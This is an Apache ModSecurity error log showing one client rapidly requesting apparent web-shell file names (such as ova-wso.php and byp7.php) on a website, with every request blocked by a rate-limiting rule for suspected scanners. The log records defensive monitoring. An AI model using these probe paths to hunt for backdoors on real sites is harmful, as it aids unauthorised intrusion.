[Sat Feb 28 14:35:54.335482 2026] [:error] [pid 39292:tid 39306] [client 20.151.113.230:12285] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hkweu.php"] [unique_id "aaKMyqIAO5fN7BxyqcHvYwAAAMw"]
[Sat Feb 28 14:35:54.752631 2026] [:error] [pid 22194:tid 22213] [client 20.151.113.230:12275] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hkweu.php"] [unique_id "aaKMyn6mbajs3bzQGytYCQAAAVE"]
[Sat Feb 28 14:35:55.181279 2026] [:error] [pid 52460:tid 52473] [client 20.151.113.230:12286] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hkweu.php"] [unique_id "aaKMy7LWOogAgHGh62RwSgAAAYo"]
[Sat Feb 28 14:35:55.595363 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:12242] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qdlte.php"] [unique_id "aaKMy7LWOogAgHGh62RwTQAAAYs"]
[Sat Feb 28 14:35:56.007229 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:12215] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qdlte.php"] [unique_id "aaKMzLLWOogAgHGh62RwUQAAAZc"]
[Sat Feb 28 14:35:56.428659 2026] [:error] [pid 39292:tid 39294] [client 20.151.113.230:12202] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qdlte.php"] [unique_id "aaKMzKIAO5fN7BxyqcHvZAAAAMA"]
[Sat Feb 28 14:35:56.842528 2026] [:error] [pid 39184:tid 39234] [client 20.151.113.230:12174] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qdlte.php"] [unique_id "aaKMzFtZF9Zd_U7easDt3gAAAE8"]
[Sat Feb 28 14:35:57.250596 2026] [:error] [pid 39185:tid 39266] [client 20.151.113.230:12267] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f7.php"] [unique_id "aaKMzRVE-FfM89u7BQYeGgAAAJQ"]
[Sat Feb 28 14:35:57.662761 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:12132] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f7.php"] [unique_id "aaKMzRVE-FfM89u7BQYeHgAAAJE"]
[Sat Feb 28 14:35:58.076047 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12254] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f7.php"] [unique_id "aaKMzhVE-FfM89u7BQYeIQAAAJY"]
[Sat Feb 28 14:35:58.495016 2026] [:error] [pid 39185:tid 39262] [client 20.151.113.230:12176] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f7.php"] [unique_id "aaKMzhVE-FfM89u7BQYeIwAAAJA"]
[Sat Feb 28 14:35:58.910813 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:12168] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaKMzhVE-FfM89u7BQYeKgAAAJU"]
[Sat Feb 28 14:35:59.329824 2026] [:error] [pid 52460:tid 52487] [client 20.151.113.230:12184] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaKMz7LWOogAgHGh62RwVQAAAZg"]
[Sat Feb 28 14:35:59.745614 2026] [:error] [pid 52460:tid 52479] [client 20.151.113.230:12179] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaKMz7LWOogAgHGh62RwVwAAAZA"]
[Sat Feb 28 14:36:00.161650 2026] [:error] [pid 39183:tid 39215] [client 20.151.113.230:12217] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "aaKM0BCf4HvhVePw3Lb31AAAABc"]
[Sat Feb 28 14:36:00.581969 2026] [:error] [pid 52460:tid 52485] [client 20.151.113.230:12205] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aaKM0LLWOogAgHGh62RwWQAAAZY"]
[Sat Feb 28 14:36:00.995733 2026] [:error] [pid 22194:tid 22205] [client 20.151.113.230:12284] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aaKM0H6mbajs3bzQGytYDQAAAUk"]
[Sat Feb 28 14:36:01.416034 2026] [:error] [pid 52460:tid 52483] [client 20.151.113.230:12238] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aaKM0bLWOogAgHGh62RwWgAAAZQ"]
[Sat Feb 28 14:36:01.828734 2026] [:error] [pid 39185:tid 39258] [client 20.151.113.230:12257] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp7.php"] [unique_id "aaKM0RVE-FfM89u7BQYeMgAAAIw"]
[Sat Feb 28 14:36:02.240679 2026] [:error] [pid 52460:tid 52470] [client 20.151.113.230:12197] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aaKM0rLWOogAgHGh62RwXQAAAYc"]
[Sat Feb 28 14:36:02.655665 2026] [:error] [pid 39185:tid 39249] [client 20.151.113.230:12239] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aaKM0hVE-FfM89u7BQYeOQAAAIM"]
[Sat Feb 28 14:36:03.073910 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:12229] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aaKM0xVE-FfM89u7BQYePAAAAI8"]
[Sat Feb 28 14:36:03.488217 2026] [:error] [pid 52460:tid 52466] [client 20.151.113.230:12263] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aaKM07LWOogAgHGh62RwYgAAAYM"]
[Sat Feb 28 14:36:03.897678 2026] [:error] [pid 39185:tid 39262] [client 20.151.113.230:12204] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clcdu.php"] [unique_id "aaKM0xVE-FfM89u7BQYeQQAAAJA"]
[Sat Feb 28 14:36:04.308025 2026] [:error] [pid 39185:tid 39259] [client 20.151.113.230:12163] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clcdu.php"] [unique_id "aaKM1BVE-FfM89u7BQYeRgAAAI0"]
[Sat Feb 28 14:36:04.718826 2026] [:error] [pid 39185:tid 39261] [client 20.151.113.230:12248] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clcdu.php"] [unique_id "aaKM1BVE-FfM89u7BQYeSAAAAI8"]
[Sat Feb 28 14:36:05.127679 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:12042] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clcdu.php"] [unique_id "aaKM1bLWOogAgHGh62RwZwAAAYg"]
[Sat Feb 28 14:36:05.539107 2026] [:error] [pid 52460:tid 52469] [client 20.151.113.230:12235] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffbsq.php"] [unique_id "aaKM1bLWOogAgHGh62RwaQAAAYY"]
[Sat Feb 28 14:36:05.959427 2026] [:error] [pid 52460:tid 52463] [client 20.151.113.230:12240] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffbsq.php"] [unique_id "aaKM1bLWOogAgHGh62RwbgAAAYA"]
[Sat Feb 28 14:36:06.374127 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:12173] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffbsq.php"] [unique_id "aaKM1hVE-FfM89u7BQYeUQAAAJU"]
[Sat Feb 28 14:36:06.788513 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12255] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ffbsq.php"] [unique_id "aaKM1hVE-FfM89u7BQYeVAAAAJY"]
[Sat Feb 28 14:36:07.202446 2026] [:error] [pid 39185:tid 39269] [client 20.151.113.230:12108] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aaKM1xVE-FfM89u7BQYeVwAAAJc"]
[Sat Feb 28 14:36:07.622014 2026] [:error] [pid 39185:tid 39256] [client 20.151.113.230:12246] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aaKM1xVE-FfM89u7BQYeWgAAAIo"]
[Sat Feb 28 14:36:08.051280 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12172] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aaKM2BVE-FfM89u7BQYeXQAAAJY"]
[Sat Feb 28 14:36:08.460802 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:12274] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "aaKM2BVE-FfM89u7BQYeZAAAAJE"]
[Sat Feb 28 14:36:08.874355 2026] [:error] [pid 52460:tid 52476] [client 20.151.113.230:12270] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaKM2LLWOogAgHGh62RwdAAAAY0"]
[Sat Feb 28 14:36:09.282080 2026] [:error] [pid 39185:tid 39268] [client 20.151.113.230:12219] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaKM2RVE-FfM89u7BQYeawAAAJY"]
[Sat Feb 28 14:36:09.704991 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:12160] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaKM2RVE-FfM89u7BQYebgAAAJE"]
[Sat Feb 28 14:36:10.123812 2026] [:error] [pid 39292:tid 39318] [client 20.151.113.230:12109] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aaKM2qIAO5fN7BxyqcHvawAAANg"]
[Sat Feb 28 14:36:10.553363 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:12200] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKM2rLWOogAgHGh62RwdQAAAZM"]
[Sat Feb 28 14:36:10.979031 2026] [:error] [pid 39183:tid 39193] [client 20.151.113.230:12186] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKM2hCf4HvhVePw3Lb32AAAAAE"]
[Sat Feb 28 14:36:11.389800 2026] [:error] [pid 11791:tid 11807] [client 20.151.113.230:12096] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKM22uX5e1Q32gqxH1IUwAAAQ4"]
[Sat Feb 28 14:36:11.801344 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:12169] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aaKM27LWOogAgHGh62RwfAAAAZI"]
[Sat Feb 28 14:36:12.220554 2026] [:error] [pid 39185:tid 39250] [client 20.151.113.230:12212] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kma.php"] [unique_id "aaKM3BVE-FfM89u7BQYeeQAAAIQ"]
[Sat Feb 28 14:36:12.638347 2026] [:error] [pid 52460:tid 52463] [client 20.151.113.230:12114] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kma.php"] [unique_id "aaKM3LLWOogAgHGh62RwgAAAAYA"]
[Sat Feb 28 14:36:13.055663 2026] [:error] [pid 39292:tid 39296] [client 20.151.113.230:12097] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kma.php"] [unique_id "aaKM3aIAO5fN7BxyqcHvbQAAAMI"]
[Sat Feb 28 14:36:13.471512 2026] [:error] [pid 39183:tid 39212] [client 20.151.113.230:12103] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kma.php"] [unique_id "aaKM3RCf4HvhVePw3Lb32gAAABQ"]
[Sat Feb 28 14:36:13.889901 2026] [:error] [pid 11791:tid 11804] [client 20.151.113.230:12175] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aaKM3WuX5e1Q32gqxH1IVAAAAQs"]
[Sat Feb 28 14:36:14.303256 2026] [:error] [pid 52460:tid 52484] [client 20.151.113.230:12272] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aaKM3rLWOogAgHGh62RwhwAAAZU"]
[Sat Feb 28 14:36:14.724202 2026] [:error] [pid 39292:tid 39297] [client 20.151.113.230:12099] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aaKM3qIAO5fN7BxyqcHvbgAAAMM"]
[Sat Feb 28 14:36:15.144304 2026] [:error] [pid 39292:tid 39303] [client 20.151.113.230:12191] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpls.php"] [unique_id "aaKM36IAO5fN7BxyqcHvcAAAAMk"]
[Sat Feb 28 14:36:15.561573 2026] [:error] [pid 39183:tid 39198] [client 20.151.113.230:12145] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova-wso.php"] [unique_id "aaKM3xCf4HvhVePw3Lb33AAAAAY"]
[Sat Feb 28 14:36:15.975226 2026] [:error] [pid 39185:tid 39265] [client 20.151.113.230:12207] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova-wso.php"] [unique_id "aaKM3xVE-FfM89u7BQYefwAAAJM"]
[Sat Feb 28 14:36:16.389463 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:12224] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova-wso.php"] [unique_id "aaKM4BVE-FfM89u7BQYegQAAAJE"]
[Sat Feb 28 14:36:16.804851 2026] [:error] [pid 22194:tid 22199] [client 20.151.113.230:12208] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova-wso.php"] [unique_id "aaKM4H6mbajs3bzQGytYGwAAAUM"]
[Sat Feb 28 14:36:17.220047 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:12107] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mjq.php"] [unique_id "aaKM4bLWOogAgHGh62RwkgAAAYs"]
